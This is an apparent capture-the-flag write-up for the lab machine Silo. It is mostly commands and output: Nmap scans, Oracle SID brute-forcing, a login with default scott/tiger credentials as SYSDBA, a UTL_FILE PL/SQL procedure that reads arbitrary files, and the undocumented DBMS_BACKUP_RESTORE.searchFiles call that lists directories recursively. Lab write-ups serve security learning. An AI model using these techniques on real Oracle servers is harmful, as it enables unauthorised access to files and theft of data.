Today I read the Silo’s writeups that have been published in the last few days. As the title says, I’d like to share with you another unintended way to get the flags out of the box, without ODAT, but using some file related stored procedures and an undocumented feature, added in Oracle 10g (and above). It should also be quite less noisy than ODAT, indeed.
Lession learned
- Always try default users and passwords, also of previous releases, in lowercase, uppercase, camelcase, wtfcase…
- Always try to elevate privileges of any user on any tool
- Some Oracle internals and PL/SQL commands
- An undocumented Oracle feature for finding files.
TL;DR
Long story short or the one minute hack (one minute… ok, almost one minute, if you already have sqlplus installed)
sqlplus scott/tiger@10.10.10.82 AS SYSDBA
create or replace procedure utl_file_test_read (
path in varchar2,
filename in varchar2)
is
input_file utl_file.file_type;
input_buffer varchar2(4000);
begin
input_file := utl_file.fopen (path,filename, 'R');
utl_file.get_line (input_file, input_buffer);
dbms_output.put_line(input_buffer);
utl_file.fclose(input_file);
end;
/
set serveroutput on size 1000000
begin
utl_file_test_read('c:\users\administrator\desktop','root.txt');
end;
/
set serveroutput on size 1000000
begin
utl_file_test_read('c:\users\Phineas\desktop','user.txt');
end;
/
The real story (kind of…)
Nmap fast
nmap -T4 -vvv -oA nmap/fast 10.10.10.82
Nmap scan report for 10.10.10.82
Host is up, received echo-reply ttl 127 (0.088s latency).
Scanned at 2018-03-18 01:52:23 CET for 2s
Not shown: 988 closed ports
Reason: 988 resets
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
1521/tcp open oracle syn-ack ttl 127
49152/tcp open unknown syn-ack ttl 127
49153/tcp open unknown syn-ack ttl 127
49154/tcp open unknown syn-ack ttl 127
49155/tcp open unknown syn-ack ttl 127
49158/tcp open unknown syn-ack ttl 127
49160/tcp open unknown syn-ack ttl 127
49161/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done at Sun Mar 18 01:52:25 2018 -- 1 IP address (1 host up) scanned in 1.75 seconds
Nmap targeted
Please note that we added 5985 and 5986 because it’s a Windows box and winrm ports are not in the nmap’s top 1000 ports
nmap -sC -sV -oA nmap/targeted -p80,135,139,445,1521,49152-49160,5985,5986 -vvv 10.10.10.82
Nmap scan report for 10.10.10.82
Host is up, received echo-reply ttl 127 (0.043s latency).
Scanned at 2018-03-18 12:09:34 CET for 121s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 8.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open oracle-tns syn-ack ttl 127 Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp closed wsmans reset ttl 127
49152/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49156/tcp closed unknown reset ttl 127
49157/tcp closed unknown reset ttl 127
49158/tcp closed unknown reset ttl 127
49159/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49160/tcp open oracle-tns syn-ack ttl 127 Oracle TNS listener (requires service name)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 46363/tcp): CLEAN (Couldn't connect)
| Check 2 (port 52707/tcp): CLEAN (Couldn't connect)
| Check 3 (port 38458/udp): CLEAN (Timeout)
| Check 4 (port 19971/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: supported
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2018-03-18 12:11:28
|_ start_date: 2018-03-18 10:33:18
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 18 12:11:35 2018 -- 1 IP address (1 host up) scanned in 121.62 seconds
Oracle SIDs
nmap --script oracle-sid-brute -p 1521 10.10.10.82 -vvv
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-18 12:15 CET
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 12:15
Completed NSE at 12:15, 0.00s elapsed
Initiating Ping Scan at 12:15
Scanning 10.10.10.82 [4 ports]
Completed Ping Scan at 12:15, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:15
Completed Parallel DNS resolution of 1 host. at 12:15, 0.02s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:15
Scanning 10.10.10.82 [1 port]
Discovered open port 1521/tcp on 10.10.10.82
Completed SYN Stealth Scan at 12:15, 0.07s elapsed (1 total ports)
NSE: Script scanning 10.10.10.82.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 12:15
NSE Timing: About 0.00% done
NSE Timing: About 0.00% done
Completed NSE at 12:16, 77.14s elapsed
Nmap scan report for 10.10.10.82
Host is up, received echo-reply ttl 127 (0.039s latency).
Scanned at 2018-03-18 12:15:40 CET for 77s
PORT STATE SERVICE REASON
1521/tcp open oracle syn-ack ttl 127
| oracle-sid-brute:
|_ XE
Install sqlplus
Sqlplus is available at oracle.com or, at the moment, here:
GitHub - f00b4r/oracle-instantclient: 💽 Oracle InstantClient
User and password
Oracle is configured with user scott and password tiger. As other writeups explain, you can get it, for instance, via metasploit.
This account used to be a non-privileged user in older releases as reported, for instance, here and here: The account is no longer created by default in releases 9 and later. You will need to create it if you want to use it.
SYSDBA
Moreover, scott user is also SYSDBA. So we can connect as
sqlplus scott/tiger@10.10.10.8 AS SYSDBA
That is to say: we have the keys of the kingdom.
root flag
Once connected, since we are SYS, we can directly “cat” the flag using a stored procedure, taken from Oracle: UTL_FILE :
create or replace procedure utl_file_test_read (
path in varchar2,
filename in varchar2)
is
input_file utl_file.file_type;
input_buffer varchar2(4000);
begin
input_file := utl_file.fopen (path,filename, 'R');
utl_file.get_line (input_file, input_buffer);
dbms_output.put_line(input_buffer);
utl_file.fclose(input_file);
end;
/
set serveroutput on size 1000000
begin
utl_file_test_read('c:\users\administrator\desktop','root.txt');
end;
/
user flag
User flag is a bit tricky to get, because we don’t know… the user name!
If the server is crowded of people using ODAT, you can find the user name issuing this command from sqlplus:
SELECT owner, directory_name, directory_path FROM all_directories;
but since this is a “no ODAT” walkthrough, we will use this undocumented 10g and above feature:
http://www.jlcomp.demon.co.uk/faq/find_files.html
DECLARE
pattern VARCHAR2(1024) := 'C:\users\';
ns VARCHAR2(1024);
BEGIN
SYS.DBMS_OUTPUT.ENABLE(1000000);
SYS.DBMS_BACKUP_RESTORE.searchFiles(pattern, ns);
FOR each_file IN (SELECT FNAME_KRBMSFT AS name FROM X$KRBMSFT) LOOP
DBMS_OUTPUT.PUT_LINE(each_file.name);
END LOOP;
END;
/
as the author says:
[…]
Interestingly, this procedure recursively searches sub directories found in the search string. So passing a string of ‘C:\windows’ (for example) populates x$krbmsft with not only the files found in that directory but all the files found in all directories beneath, such as C:\windows\system32.
As x$krbmsft is an in memory table, you have been warned! Calling this procedure on a directory with thousands of sub directories and files has the potential to consume large amounts of memory (or more likely just generate an exception).
so the previous code outputs:
[...]
C:\USERS\Phineas\AppData\Local\Application Data\Application
Data\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Set
tings\en-US\Classic_{1DD03EE3-FC46-456A-8632-B0717A9D497D}.settingcontent-ms
C:\USERS\Phineas\AppData\Local\Application Data\Application
Data\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Set
tings\en-US\Classic_{1F7C24AC-B26E-4824-84EA-9026B9C0AF0D}.settingcontent-ms
DECLARE
and we can
set serveroutput on size 1000000
begin
utl_file_test_read('c:\Users\Phineas\Desktop','user.txt');
end;
/
Bonuses
to check if utl_file_dir is installed:
select value from v$parameter where name = 'utl_file_dir';
VALUE
--------------------------------------------------------------------------------
*
or
show parameter utl_file
NAME TYPE VALUE
------------------------------------ ----------- ------------------------------
utl_file_dir string *
and if we want to grant access to other users to directories:
CREATE OR REPLACE DIRECTORY hook_admin as 'C:\Users\Administrator\Desktop';
CREATE OR REPLACE DIRECTORY hook_user as 'C:\Users\Phineas\Desktop';
GRANT READ ON DIRECTORY hook_admin to other_user
GRANT READ ON DIRECTORY hook_user to other_user